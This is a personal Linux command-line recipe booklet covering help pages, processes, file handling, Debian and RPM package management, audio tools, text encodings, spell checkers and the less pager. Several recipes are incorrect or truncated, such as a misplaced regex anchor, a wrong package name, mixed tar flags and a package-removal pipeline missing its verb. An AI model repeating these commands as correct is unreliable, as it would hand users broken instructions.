&& The Linux Operating System
-----------------------------------.
Quote: "I'm doing a (free) operating system, just a hobby,..." (Linus Torvalds)
This booklet is designed to help with common tasks on a Linux system. It
is designed to be presentable as a series of "recipes" for accomplishing
common tasks. These recipes consist of a plain English one-line
description, followed by the Linux command which carries out the task. The
document is focused on performing tasks in Linux using the 'command line'
or 'console'. The format of the booklet was largely inspired by the "Linux
Cookbook" www.dsl.org/cookbook
@@ http://github.com/himanshuc/nixhacker/tree/master
a good list of resources
@@ http://www.pixelbeat.org/cmdline.html
some command lines recipes
@@ http://www.shell-fu.org/
some command line recipes
@@ http://www.commandlinefu.com/
a very good site with lots of command-line tips
@@ http://dsl.org/cookbook/cookbook_toc.html
A very good Linux User "cookbook" and the primary
inspiration for the booklets on this site.
GOOD BOOKS
@@ The UNIX Environment (Andrew Walker, Wiley 1984)
@@ The Linux Cookbook (Michael Stutz, No Starch Press)
@@ The Unix Programming Environment (Kernighan et al)
ONLINE BOOKS ....
@@ http://www.catb.org/~esr/writings/taoup/html/
@@ http://www.faqs.org/docs/artu/
a philosophical book about the unix operating system
by Eric Raymond (2003)
@@ http://www.linfo.org/onlinebooks.html
a list of online linux books
GETTING HELP
The traditional Unix help system is called 'man' or 'manual' pages. And
they can be good. It is one of the ironies and frustrations of Unix that a
man page only really becomes helpful and interesting once one already
knows what a program does and how to basically use it.
* show the short help description for all programs
>> whatis -r '.*'
>> for i in $(ls $(echo $PATH | tr ':' ' ')); do whatis $i; done | less
* search for all programs which have something to do with 'java'
>> whatis -r '.*' | grep java
>> whatis -r 'java'
>> whatis -r java
* view the 'manual' page for the wc (word/line/character count) command
>> man wc
Sadly, 'man' pages rarely have examples.
* view the manual page in 'section' 4. See the list of sections, elsewhere
>> man 4 command
* show what software is available to install, relating to 'page layout'
>> apt-cache search "page layout"
>> apt-cache search "page layout" | grep -v '^lib' ##(exclude code libraries))
* Search all man pages for the word 'dig'
>> man -k dig ##(does this search just the short description??)
* find documentation for latex packages in pdf format
>> find /usr/share/doc/ -name '*.pdf' ##(on a debian system, at least)
AN INTRODUCTION TO THE LINUX COMMAND LINE
UNIX CULTURE SHOCK ....
Those users who have no experience with a Unix-style operating
system, but are familiar with the Microsoft Windows operating system
will experience a kind of 'culture shock' when they begin to
use Linux. This is true even if the user is familiar with using
the 'command-line' on a Microsoft computer. This section attempts to
point out some of the things which may seem baffling and illogical
to the new Linux user.
@@ You cant just download an 'exe' and click on it to run it
However you can easily install new software with
'sudo apt-get install <program-name>'
@@ file names dont have to have extensions (such as .txt), but can
To an experienced Microsoft command line user, the idea of
just calling a text file 'report' rather than 'report.txt' is
rather disorientating. "How will the computer know what type
of file it is?" The microsoft user thinks.
File names can and do begin with a dot '.'
File names can begin with a tilde '~'
@@ Linux commands are very short and cryptic
Why is the 'list files' command, called 'ls' and not 'list'?
It would be so much more memorable as 'list' than 'ls'. This
is the "Unix way". If you like typing you can do
alias list='ls'
@@ The folder hierarchy in Linux seems very cryptic and you cant
just put files anywhere
BASIC USER COMMANDS ....
* log in to the system with a username of 'bob'
>> ubuntu login: bob
* log out of the system
>> logout
* switch to the fourth virtual console
>> press [ALT]-[F4]
* switch from the fourth to the third virtual console, press:
>> [ALT]-[<-]
* switch from X to the first virtual console, press:
>> [CTRL]-[ALT]-[F1]
* run the hostname tool to find the name of the computer
>> hostname
* output the version of the hostname tool
>> hostname --version
* run hostname and specifying that the file 'host.info' be read from
>> hostname -F host.info
* change your password
>> passwd
* output your username
>> whoami
* see who is currently logged in
>> who
* see who is currently logged in and what they are doing
>> w
* display information about recent use of the system
>> last | less
* find out when the user 'mjb' last logged in
>> last mjb
NOTE: The last tool gets its data from the system file '/var/log/wtmp';
the last line of output tells how far this file goes back.
BASIC PROCESS COMMANDS ....
* list the processes in your current shell session
>> ps
* list all the processes that user 'hst' has running on the system
>> ps -u hst
This command is useful for listing all of your own processes
* list all of the processes and give their user-names
>> ps aux ##(there could be a lot of output, even on single user systems)
* display a continually updated display of the current system processes
>> top
* list all the processes containing a reference to an 'sbin' directory
>> ps aux | grep sbin
* list any processes whose process IDs contain a 13 in them
>> ps aux | grep 13
* list the process whose PID is 344
>> ps -p 344
BASIC SOFTWARE COMMANDS ....
* Run skype using your GTK theme
>> skype --disable-cleanlooks -style GTK
* output a list of programs that pertain to consoles
>> apropos consoles
* output a list of all tools whose pages in the system manual contain a reference to consoles
>> man -k consoles
* list all of the software packages installed on the system
>> dpkg -l
* list all of the packages whose name or description contains the text "edit," regardless of case
>> dpkg -l | grep -i edit
* peruse descriptions of the packages that are available
>> less /var/lib/dpkg/available
* get a description of the who tool
>> whatis who
* view the manual page for w
>> man w
* view all of the Info manuals on the system
>> info
* read the Info documentation for the tar tool
>> info tar
This command opens a copy of The GNU tar Manual in info.
To read the contents of a file written in Info format, give the name of
* read 'faq.info', an Info file in the current directory
>> info -f faq.info
* read 'faq.info', an Info file in the current directory, beginning with the node Text
>> info -n 'Text' -f faq.info
* view the HTML version of the Debian FAQ in the lynx Web browser
>> lynx /usr/share/doc/debian/FAQ/debian-faq.html
The above only works on a Debian flavour of Linux.
* view the compressed text version of the Debian FAQ in zless,
>> zless /usr/doc/debian/FAQ/debian-faq.txt.gz
BASIC COMMAND LINE USAGE ....
* repeat the last command entered
>> [^|]
The [^|] key moves the last command you typed back to the input line,
and executes it.
* retrieve the last command you entered with the string 'grep' in it
>> <control-r> ##(press the <control> key and the 'r' key)
(reverse-i-search)'': grep
* put the 3rd-last command you entered with 'grep' in it on the input line
>> [Control]-r
(reverse-i-search)'': grep
* clear the screen and then log out of the system
>> clear; logout
* run the hostname command twice times
>> hostname; hostname
* redirect standard input for apropos to file 'keywords'
>> apropos < keywords
* redirect standard output of a command to the file 'commands'
>> apropos shell bash > commands
* append the standard output of apropos shells to the file 'commands'
>> apropos shells >> commands
* redirect the standard error of apropos shell bash to 'command.error'
>> apropos shell bash 2> command.error
* perform a long task in the background, saving all messages to 'img.txt'
>> find / | xargs file | grep image &>~/img.txt &
In the command above, both error messages (2>) and all normal
output of the command will be redirected to the 'img.txt' text file
in the users home folder.
* append the error output of a command to an existing file 'command.error'
>> apropos shells 2>> command.error
* redirect the standard output and standard error to the file 'commands'
>> apropos shells &> commands
* view the output of "apropos bash shell shells" in a 'pager' program
>> apropos bash shell shells | less
A pager program allows you to view output from a program one
(screen) page at a time. (pagers: more/less/most)
* run the command apropos shell > shell-commands as a background job
>> apropos shell > shell-commands &
* run job 4 in the background
>> bg %4
Trivia: running a job in the background is sometimes called "backgrounding"
or "amping off" a job.
* bring the most recent background job to the foreground
>> fg
* bring job 3 to the foreground
>> fg %3
* list your jobs
>> jobs
* kill job number 2
>> kill %2
* to interrupt a running command use [control] c
>> find / -name '*e*'
>> [control] c
* search your command history for the text 'apropos'
>> history | grep apropos
* specify the second-to-the-last command in your history
>> [^|] [^|]
Trivia: '!', the exclamation mark is sometimes called "bang"
* run history event number 1 (the last command executed)
>> !1
* create a script of a shell session and save it to the file 'log.1'
>> script log.1
SIMPLE FILE COMMANDS ....
* create the file 'new.txt' in the current directory
>> touch new.txt
* create the file 'new' in the 'work/docs' subdirectory of the current directory
>> touch work/docs/new
On a Unix-style computer, such as Apple OSX or Linux, files do not
have to have 'extensions' to their names, unlike on Microsoft
Windows.
* make a new directory called 'work' in the current working directory
>> mkdir work
* create the 'work/completed/2001' directory
>> mkdir -p work/completed/2001
>> mkdir --parents work/completed/2001 ##(the same)
If the 'work' and 'completed' folders do not exist, then
they will be created.
SIMPLE FOLDER COMMANDS ....
* change the current working directory to '/usr/doc'
>> cd /usr/share/doc
* return to the directory you were last in
>> cd -
* determine what the current working directory is
>> pwd
* list the contents of 'work', a subdirectory in the current directory
>> ls work
* list the contents of the '/usr/doc' directory
>> ls /usr/doc
* list the contents of the directory so that directories and executables are distinguished from other files
>> ls -F
* output a verbose listing of the '/usr/doc/bash' directory
>> ls -l /usr/doc/bash
* output a recursive listing of the current folder and sub-folders
>> ls -R
* list all of the files on the system
>> ls -R /
* list the files in the 'log' directory sorted with newest first
>> ls -t /var/log
The '/var/log' folder usually contains 'log' files which record
the activities of software running on the computer. Type
'man hier' for more information about the Linux folder structure.
* list all files in the current directory (including 'hidden' files)
>> ls -a
== important 'ls' options
.. -a - display all files, including hidden ones
.. -F - display the file types of files
.. -R - list all folders and subfolders
.. -t - sort the displayed files by date
..
* output a tree graph of your home directory and all its subdirectories
>> tree ~ ##(this shows files as well as folders)
* show a just the start of a folder tree for the home folder
>> tree -d /usr/local | head -20
[>>0.3 image/eg-tree.png]
* peruse a tree graph of the '/usr/local' directory tree
>> tree -d /usr/local | less
COPYING FILES ....
* copy the file 'old' to the file `new'
>> cp old new
* copy files preserving the file attributes
>> cp -p file.txt new-copy.txt
* copy the folder 'reports' verbosely (showing what is being done)
>> cp -vr reports ~/new/
* copy a folder tree verbosely, but only copy files which are newer
>> cp -vur docs/office ~/docs
* copy the folder 'public_html', and subfolders, to 'private_html'
>> cp -R public_html private_html
The cp '-R' option doesnt copy symbolic links. But the "man" page for cp
states that -r and -R are equivalent
* make an archive copy of the directory tree 'public' to 'private'
>> cp -a public_html private_html
MOVING FILES ....
* move the file 'notes' in the current working directory to '../play'
>> mv notes ../play
* move the file '/usr/tmp/notes' to the current working directory,
>> mv /usr/tmp/notes .
This command moves the file '/usr/tmp/notes' to the current working
* move the directory 'work' in the current working directory to 'play'
>> mv work play
* rename the file 'notes' to `notes.old'
>> mv notes notes.old
NOTE: to rename multiple files use 'rename'
DELETING FILES ....
* remove the file 'notes' in the current working directory
>> rm notes
* remove the directory 'waste' and all of its contents
>> rm -R waste
* remove the directory 'empty'
>> rmdir empty
* use tab completion to remove the file 'No Way' in the current directory
>> rm No[TAB] Way
* delete the file '^Acat' in a directory that also contains the files 'cat' and `dog'
>> rm -i ?cat ##(rm: remove '^Acat'? y )
* remove the file '-cat' from the current directory
>> rm -- -cat
SYMBOLIC LINKS ....
* create a hard link from 'seattle' to `emerald-city'
>> ln seattle emerald-city
* create a symbolic link from 'seattle' to `emerald-city'
>> ln -s seattle emerald-city
* list all files in the '/usr/bin' directory that have the text 'tex' anywhere in their name
>> ls /usr/bin/*tex*
* copy all files whose names end with '.txt' to the `doc' subdirectory
>> cp *.txt doc
* output a verbose listing of all files whose names end with either a '.txt' or '.text' extension, sorting the list so that newer files are listed first
>> ls -lt *.txt *.text
* remove all files in the current working directory that begin with a hyphen and have the text 'out' somewhere else in their file name
>> rm -- -*out*
* join text files whose names have an 'a' followed by 2 or more characters
>> cat a??*
The original files are unchanged, but the joined together text files
are displayed on the screen.
THE BASH PROMPT ....
* change your shell prompt to 'Your wish is my command: '
>> PS1='Your wish is my command: '
* change your prompt to the default bash prompt (the current folder)
>> PS1='\w $ '
* change the prompt to the current date, space, the hostname, and a '>'
>> PS1='\d (\h)>'
* clear the screen every time you log out,
>> clear ##(put this in the file '.bash_logout')
INSTALLING SOFTWARE
== tools for managing software
.. apt
.. wajig
.. dpkg
..
* List your largest installed packages.
>> wajig large
* Find running binary executables that were not installed using
>> cat /var/lib/dpkg/info/*.list > /tmp/listin ; ls /proc/*/exe |xargs -l readlink | grep -xvFf /tmp/listin; rm /tmp/listin
* purge all packages marked with 'rc'
>> sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
* show installed but unused linux headers, image, or modules
>> dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
* List your largest installed packages.
>> dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done
* show some ubuntu "easter eggs"
>> apt-get moo
* generate a list of installed packages on debian-based systems
>> dpkg --get-selections > LIST_FILE
* Find the dates your debian/ubuntu packages were installed.
>> ls /var/lib/dpkg/info/*.list -lht |less
In the context of computers, software is also known as 'programs',
'applications' or 'executables'. Software allows you to carry out a
particular task on your computer.
The simple installation of new software on a Linux system is achieved via
'packages'. Thousands of packages of free and open-source software are
available. On a Debian-style linux distribution (such as Ubuntu) these
package files have a '.deb' extension, where as on a redhat-style Linux
distribution (such as Fedora), these files have a '.rpm' file-name
extension
@@ freshmeat
new linux applications
@@ linux.softpedia.org
* download a file to install and then check the md5sum
>> md5sum filename ##(compare this with the given value)
== other installation software
.. dpkg - install or query package files on the local computer
.. dselect -
.. aptitude - slightly more 'sophisticated' than apt-get
.. synaptic - a graphical program similar to 'add/remove programs' on ms windows
.. tasksel - a graphical way to install whole software 'suites'
..
* Find a file's package or list a package's contents.
>> dlocate [ package | string ]
* choose a software bundle to install
>> tasksel
* markup a apt-cache search for 'splice' as a latex table
>> apt-cache search splice | sed 's/ - / \& /; s/$/ \\\\/' | less
REDHAT STYLE SOFTWARE PACKAGES ....
* download and install the software package in one step
>> rpm -ivh 'http://www.website.com/path/to/desired_software_package.rpm'
* Find out what package some command belongs to (on RPM systems)
>> rpm -qif `which more`
DEBIAN PACKAGES ....
Dpkg may be used to install '.deb' files which are already present on the
local machine, where as apt-get is capable of downloading the package from a
repository, as well as resolving dependencies of a package on other packages
(so that the user doesn't have to worry about it)
* search ubuntu packages to find which package contains the file
>> apt-file find bin/programname
* Check the apt security keys
>> apt-key list
* Install a LAMP server in a Debian based distribution
>> sudo tasksel install lamp-server
* Update program providing a functionality on Debian
>> update-alternatives --config java
* List your largest installed packages (on Debian/Ubuntu)
>> dpigs
* Convert deb to rpm
>> alien -r -c file.deb
* display the total number of packages available
>> apt-cache stats
* update the repository cache
>> sudo apt-get update ##(add repositories to /etc/apt/sources.list)
* show all packages which are currently installed
>> dpkg -l | less
* show just the names and descriptions of packages installed
>> dpkg -l | awk '{$1=""; $2=$2 ","; $3=""; print }' | less
* show all files which were installed as part of 'package'
>> dpkg -L package
* find out which package a file belongs to
>> dpkg -S /path/to/file
* install the package in the 'miscfiles-1.1.7.deb' file
>> dpkg -i miscfiles-1.1.7.deb
* install the 'scribus' desktop publishing software on a linux system
>> sudo apt-get install scribus
* install a particular version of a program / package
>> apt-get install program=X.Y.Z-n
* check which version of the program is installed on your Debian
>> aptitude show $PROGRAM | grep Vers
* check which versions of a program or package are available
>> apt-cache policy programname
* search for a program to install which has something to do with 'web'
>> apt-cache search web
* show all programs whose names do not begin with 'lib'
>> apt-cache search '.*' | grep -v '^lib' | sort | less
The names of 'code libraries' often begin with the letters 'lib' and
normally they are automatically installed when you install some piece
of linux software with 'apt-get'
* show the details for a particular program/ package
>> apt-cache show programname
* uninstall a program
>> apt-get remove --purge program
* get the source code for a program or package
>> sudo apt-get source program ##(the files get put in the current folder)
##(uncomment the 'deb-src' line in 'sources.list')
* put a 'source line' in /etc/apt/sources.list
>> deb-src http://http.us.debian.org/debian etch main contrib
>> sudo apt-get update ##(to update the package lists)
* upgrade your Debian system to the most recent release
>> apt-get update
>> apt-get dist-upgrade
* List installed deb packages by size
>> dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
* Remove today's installed packages
>> grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y
* Repeatedly purge orphaned packages on Debian-like Linuxes
>> while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
* Cap apt-get download speed
>> sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
* Does a full update and cleaning in one line
>> sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
COMPILING AND INSTALLING PROGRAMS ....
If a 'package' is not available for the Linux distribution which you have
on your computer, then you may have to download and install the source
code and any libraries which it depends on. This is also the case when
you want the absolutely latest cutting-edge version of a piece of
open-source software.
* download the source code
>> wget ...
* unpack the downloaded source code
>> tar xvzf source.tar.gz
>> tar jvzf source.tar.bz2 ##( ?? )
* look in the unpacked folder to see if there is a 'configure' script
>> cd sourcefolder; ls
* make sure that a compiler (gcc for example) is installed on the computer
>> sudo apt-get install build-essentials
* configure, compile and install a program
>> ./configure && make && make install
>> sudo ./configure && make && make install
* find out what library dependencies a given executable has
>> ldd programname
MAKING DEBIAN PACKAGES ....
@@ http://tldp.org/HOWTO/html_single/Debian-Binary-Package-Building-HOWTO/
Instructions about how to make a debian (binary) package that can
be installed with the 'apt-get' command.
* list all files which a debian package will install
>> dpkg-deb -c var/cache/apt/archives/somepackage.deb
* show information about a debian package
>> dpkg-deb -I var/cache/apt/archives/somepackage.deb
* list all the files within a debian package file
>> ar tv somepackage.deb
* show information about the format of the 'control' file of a debian package
>> man 5 deb-control ##(the control file determines dependencies etc)
* find problems in a debian package
>> lintian somepackage.deb
SOUND
A linux system is capable of playing, recording and editing
sound (audio) files with a variety of open-source software.
This section only provides what should be a very succint overview
of the most important sound tasks with linux. For more detailed
information, please consult the booklet listed below.
@@ http://bumble.sourceforge.net/books/linux-sound/
A more comprehensive introduction to using audio with the
linux operating system.
* Synthesize text as speech
>> echo "hello world " | festival --tts
* find the duration of the audio file 's.wav' in hours/minutes/seconds
>> soxi -d s.wav
>> soxi s.wav | grep -i duration ##(the same)
RECORDING AUDIO ....
* record a 'wav' file from the microphone, saving it to 'hello.wav'
>> rec hello.wav
This begins an 8,000 Hz, monaural 8-bit WAV recording, which is not
very good quality.
* make a high-fidelity recording from the mic and save it to 'goodbye.wav'
>> rec -s w -c 2 -r 44100 goodbye.wav
>> rec -s w -c 2 -r 44100 goodbye.wav
PLAYING AUDIO ....
* play the MP3 stream at the url
>> mpg321 http://example.net/broadcast/live.mp3
CONVERTING AUDIO FILE FORMATS ....
It is a common task to need to convert sound files from one
format to another.
* translate an audio file in Sun AU format to a Microsoft WAV file,
>> sox recital.au recital.wav
* convert 'sound.mp3' into a wav file 'new.wav' (a new file is created)
>> mpg321 -w new.wav old.mp3 ##(the file 'old.mp3' is unchanged)
>> mpg123 -w new.wav old.mp3 ##(the same)
* encode an MP3 file from a WAV file called 'september-wind.wav'
>> lame september-wind.wav september-wind.mp3
EDITING SOUND ....
== tools for editing sound
.. audacity - a good graphical sound editor
.. sox - a command line audio editor
..
* join the audio files 'a.wav' and 'b.wav' together and save as 'new.wav'
>> sox a.wav b.wav new.wav
CONVERTING AUDIO FILES ....
TRANSLATION
== translation tools
.. youtranslate - uses web services such as google
..
UNICODE
* Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte
>> find . -type f | grep -rl $'\xEF\xBB\xBF'
* show the current locale (language and character encoding)
>> locale
* show a hexdump of a text file
>> hd file.txt
>> hexdump file.txt #(the format is a little different)
TEXT FILE ENCODINGS
* Convert a file from ISO-8859-1 (or whatever) to UTF-8 (or
>> tcs -f 8859-1 -t utf /some/file
* Convert filenames from ISO-8859-1 to UTF-8
>> convmv -r -f ISO-8859-1 -t UTF-8 --notest *
* Detect encoding of the text file 'file.txt'
>> file -i file.txt ##(-i is the 'mime' switch, but it also shows encoding)
* convert file from utf8 (no bom) to utf16 (with 'bom')
>> recode UTF8..UTF-16LE linux-utf8-file.txt
* convert all '.php' files to the utf-8 text encoding
>> find . -name "*.php" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o ../newf/{} \;
* find utf-8 encoded text files misinterpreted as iso 8859-1
>> find -type f | while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "match: ${a}";done
* Fix UTF-8 text files misinterpreted as ISO 8859-1 due to Byte
>> perl -i -pe 's/\xef\xbb\xbf//g' <file>
* Convert file type to unix utf-8
>> ex some_file "+set ff=unix fileencoding=utf-8" "+x"
* Convert one file from ISO-8859-1 to UTF-8.
>> iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
SPELL CHECKING
== spell checking programs
.. spell, a non interactive spell checker
.. ispell, a veteran program
.. aspell, the gnu version
.. myspell, the open-office spell checker
.. hunspell, based on ispell
.. spellutils, debian package to selectively spell check
== editors with spell checking
.. vim, type ':set spell' to activate, and 'z=' to correct
.. emacs,
..
* search for all debian packages which have something to do with spelling
>> apt-cache search spell
* spell check the file 'lecture'
>> spell lecture
prints a list of badly spelled words
* print all misspelled words in all ".txt" files with line numbers
>> spell -n -o *.txt
* spell check the file 'ch.1.txt', with misspellings to the file 'bad.sp'
>> spell ch.1.txt > bad.sp
* check the spelling of a word on the command line
>> echo 'is this korrect ?' | spell
This prints 'Korrect' since it is badly spelled
* output a sorted list of the misspelled words from 'lecture.draft'
>> spell lecture.draft | sort | uniq
ISPELL ....
'ispell' is an older and simpler program than 'aspell'
* interactively spell check 'report.txt'
>> ispell report.txt
* install a British English dictionary for the "ispell" spell checker
>> sudo apt-get install ibritish
* check and correct the spelling interactively in document "report.txt"
>> ispell report.txt
##(when a misspelling is found, type the number of the replacement)
* spell check "file.txt" using a british english dictionary
>> ispell -d british file.txt
* spell check a document written in spanish (using a spanish dictionary)
>> ispell -d spanish archivo.txt
* show what dictionaries are available locally for ispell
>> ls /usr/lib/ispell/
* the ispell dictionaries are all called "i[language-name]"
>> dictionary files: icatalan, ibrazilian ...
* spell check and correct "thesis.tex" which is a LaTeX format document
>> ispell -t thesis.tex ##(ispell ignores the latex mark-up codes)
ASPELL
aspell is a more modern and capable spell checking program
@@ http://aspell.net/
the official site
@@ http://aspell.net/man-html/index.html
A usage manual for aspell
* show options for aspell and available dictionaries
>> aspell help | less
* show locally available dictionaries for aspell
>> aspell dicts
* install a British and American English dictionary for aspell
>> sudo apt-get install aspell-en
* install a spanish dictionary for aspell
>> sudo apt-get install aspell-es
* show all debian packages and dictionaries for aspell
>> apt-cache search aspell
* interactively check the spelling of the file "chapter.txt"
>> aspell -c chapter.txt
>> aspell check chapter.txt ##(the same)
ASPELL WITH OTHER LANGUAGES ....
* check the spelling of "chapter.txt" using British English spelling
>> aspell -d british -c chapter.txt
>> aspell -d en_GB -c chapter.txt ##(this is the same)
* check the spelling of "chapter.txt" using a Spanish dictionary
>> aspell -d spanish -c chapter.txt
>> aspell -d es -c chapter.txt ##(this is the same)
* check spelling in the comments in the shell script (lines starting with "#")
>> aspell --mode=comment -c script.sh ##(!!doesnt work on my version)
* checking the spelling in the tex/latex file "chapter.tex"
>> aspell -t -c chapter.tex
* show available filters for spell-checking particular types of files
>> aspell filters
>> aspell dump filters ##(the same)
* spell check a file skipping (ignoring) lines which start with '>'
>> aspell --mode=email check book.txt
>> aspell --mode=email -c book.txt ##(the same)
>> aspell -e -c book.txt
* create a vim "mapping" to use aspell within vim
>> map TT :w!<CR>:!aspell check %<CR>:e! %<CR>
* spell check a file but only between a "*" character and the end of the line
>> aspell --add-filter=context --add-context-delimiters="* \0" -c francisco.txt
##(doesnt really work)
------------------------------------------------------------------
TEXT FILES
------------------------------------------------------------------
VIEWING TEXT FILES ....
== text file viewing tools
.. less - a text file pager
.. most - a more capable pager
..
* To print a specific line from a file
>> awk 'FNR==5' <file>
* set the default pager to be the 'most' program
>> update-alternatives --set pager /usr/bin/most
* View non-printing characters with cat
>> cat -v -t -e
* See non printable characters like tabulations, CRLF, LF line
>> od -c <FILE> | grep --color '\\.'
LESS ....
@@ http://www.greenwoodsoftware.com/less
the homepage for less
The humble 'less' program is worthy of a second look. Less allows
one to peruse and search a text file, but not alter it. I am
documenting version 429 (year 2008). Less uses vi-like keys
to move around and search.
* view the text file 'doc.txt' one screen page at a time
>> less doc.txt
* view the text file 'days.txt' starting at the end
>> less +G days.txt
== some common 'less' commands
.. [space-bar] - forward one window
.. [esc] + [space-bar] - forward one window (with multiple files)
.. b - back one window
.. j - down one line (the same as 'vim')
.. k - up one line (the same as 'vim')
.. F - go to end of file and 'follow' new data (like tail -f)
.. G - go to the last line of the file
.. g - go to the first line of the file
.. /pattern - Search forward for (N-th) matching line.
.. ?pattern - Search backward for (N-th) matching line.
.. n - Repeat previous search (for N-th occurrence).
.. N - Repeat previous search in reverse direction.
.. ESC-n - Repeat previous search, spanning files.
.. v - edit the current file with $VISUAL or $EDITOR
..
== some less command line switches
.. -i - when searching within less, ignore case, unless search has uppercase
.. -I - when searching within less, ignore case.
.. -G - dont highlight matches when searching within less
..
STARTING LESS ....
* view the file 'long.txt' and make searches within less case-insensitive
>> less -I long.txt
* view the file 'long.txt', with 'semi' case-insensitive searching
>> less -i long.txt ##(searches with capital letters are case-sensitive)
* make an alias which will make less always semi case-insensitive
>> alias less='less -i'
* within less turn on or off case-insensitive searching
>> -I [enter]
* within less see whether searches are case-sensitive or not
>> _I
* view the output of 'grep' starting at the first line which has 'science' in it
>> grep tree forest.txt | less +/science
* follow the end of the log file 'tcp.log' showing new data as it enters
>> less +F tcp.log ##(this is like 'tail -f' but allows more perusal)
* Search for a word in less
>> /\bTERM\b
* go to the 80% position in the file (that is, 80% towards the end)
>> p80
* display less commands
>> h
LESS WITH MULTIPLE FILES ........
* search multiple files for the text 'tree'
>> less *.txt (then type) /*tree
LESS BOOKMARKS ........
Less bookmarks work in the same way as 'vi' or 'vim' bookmarks
* mark the current top-of-screen position in the text file as bookmark 'x'
>> mx ##(any single letter can be used as a bookmark)
* jump to the bookmark x
>> 'x
* save text from current top-of-screen to the bookmark 'x' in file 'save.txt'
>> |x cat > save.txt
* jump to where you just were (before going to a bookmark)
>> ''
* edit the current file (but the variable $EDITOR or $VISUAL must be set)
>> v
ANALYSING LANGUAGE ....
DICTIONARIES ....
* Look up the definition of a word
>> curl dict://dict.org/d:something
WORDNET ....
* get help for wordnet
>> man wnintro
>> man wn
* show a list of word senses available for the word 'browse',
>> wn browse -over
* output a list of words from the dictionary that begin with the string 'homew'
>> look homew ##(prints something like 'homeward' and `homework' ...)
* list words in the dictionary containing the string 'dont' regardless of case
>> grep -i dont /usr/dict/words
* list all words in the dictionary that end with 'ing'
>> grep ing^ /usr/dict/words
* list all of the words that are composed only of vowels
>> grep -i '^[aeiou]*$' /usr/dict/words
* output a list of words that rhyme with 'friend', search '/usr/dict/words' for lines ending with `end':
>> grep 'end$' /usr/dict/words
* search the WordNet dictionary for nouns that begin with 'homew'
>> wn homew -grepn
* search the WordNet dictionary for nouns and adjectives that begin with 'homew'
>> wn homew -grepn -grepa
* list the definitions of the word 'slope'
>> wn slope -over
* output all of the synonyms (same meaning) for the noun 'break'
>> wn break -synsn
* output all of the synonyms for the verb 'break'
>> wn break -synsv
* output all of the antonyms (opposite meaning) for the adjective 'sad'
>> wn sad -antsa
A hypernym of a word is a related term whose meaning is more general
* output all of the hypernyms for the noun 'cat'
>> wn cat -hypen
Debian 'dict'
* check file 'dissertation' for clichés or other misused phrases, type:
>> diction dissertation | less
* check file 'dissertation' for clichés or other misused phrases, and write the output to a file called 'dissertation.diction'
>> diction dissertation > dissertation.diction
* If you don't specify a file name, diction reads text from the standard
* output all lines containing double words in the file 'dissertation'
>> diction dissertation | grep 'Double word'
* check the readability of the file 'dissertation'
>> style dissertation
Like diction, style reads text from the standard input if no text is given
* output all sentences in the file 'dissertation' whose ARI is greater than a value of 20
>> style -r 20 dissertation
* output all sentences longer than 14 words in the file 'dissertation'
>> style -l 14 dissertation
* output the number of lines, words, and characters in file 'outline'
>> wc outline
* output the number of characters in file 'classified.ad'
>> wc -c classified.ad
Use wc with the '-w' option to specify that just the number of words be
* output the number of words in the file 'story'
>> wc -w story
* output the combined number of words for all the files with a '.txt' file name extension in the current directory
>> cat *.txt | wc -w
* output the number of lines in the file 'outline'
>> wc -l outline
* output a word-frequency list of the text file 'naked_lunch',
>> tr ' ' '\n' < naked_lunch | sort | uniq -c
* output a count of the number of unique words in the text file 'naked_lunch'
>> tr ' ' '
> ' < naked_lunch | sort | uniq -c | wc -l
* rank the files rep.a, rep.b, rep.c in order of relevance to keywords 'saving' and `profit'
>> rel "(saving & profit)" report.a report.b report.c
* output a list of any files containing either 'invitation' or 'request' in the `~/mail' directory, ranked in order of relevancy, type:
>> rel "(invitation | request)" ~/mail
* output a list of any files containing 'invitation' and not 'wedding' in the `~/mail' directory, ranked in order of relevancy, type:
>> rel "(invitation ! wedding)" ~/mail
* output a list of any files containing 'invitation' and 'party' in the '~/mail' directory, ranked in order of relevancy
>> rel "(invitation & party)" ~/mail
WRAPPING TEXT LINES ....
* format a text file with lines 80 characters long,
>> fmt -w 80 textfile ##(short lines lengthened)
>> fmt -s -w 80 textfile ##(short lines are not lengthened)
* use par instead
SPLITTING TEXT FILES ....
* split a file into a maximum of 10 files on lines containing
* '#200', '#400', '#600' etc with output files called "zz00", "zz01", etc
>> csplit -f zz file.txt "/^#1?[24680]00$/" {8}
##(the split occurs 'before' the line containing the match)
MERGING TEXT FILES ....
* Concatenate lines of to files, one by one
>> join file1.txt file2.txt > file3.txt
* Merges given files line by line
>> paste -d ',:' file1 file2 file3
CONVERTING OTHER FORMATS TO TEXT ....
* convert from html to text
>> lynx -dump http://url > textfile
>> links-dump http://url > textfile ##(may render tables)
>> w3m -dump http://url > textfile ##(may tables better)
* remove the newline characters from the text file 'autoexec.bat'
>> fromdos autoexec.bat
>> dos2unix autoexec.bat ##(the same)
* add newline characters to all of '.tex' files in the current directory
>> todos *.tex
>> unix2dos *.tex ##(the same)
CONVERTING CHARACTER ENCODINGS ....
@@ http://asis.epfl.ch/GNU.MISC/recode-3.6/recode_3.html
* Convert encoding of given files from one encoding to another
>> iconv -f utf8 -t utf16 /path/to/file
* see also iconv (older)
* show possible conversions with the 'recode' tool
>> recode -l | less
* convert latin9 (western europe) character encoding to utf8
>> recode iso-8859-15..utf8 report.txt ##(the actual file is changed)
* convert from the local character set to the latin1 encoding saving to "new.txt"
>> recode ..lat1 < file.txt > new.txt ##(the original file is unchanged)
* convert to html
>> recode ..HTML < file.txt > file.html
* convert from utf8 to html with verbose output
>> recode -v u8..h < file.txt
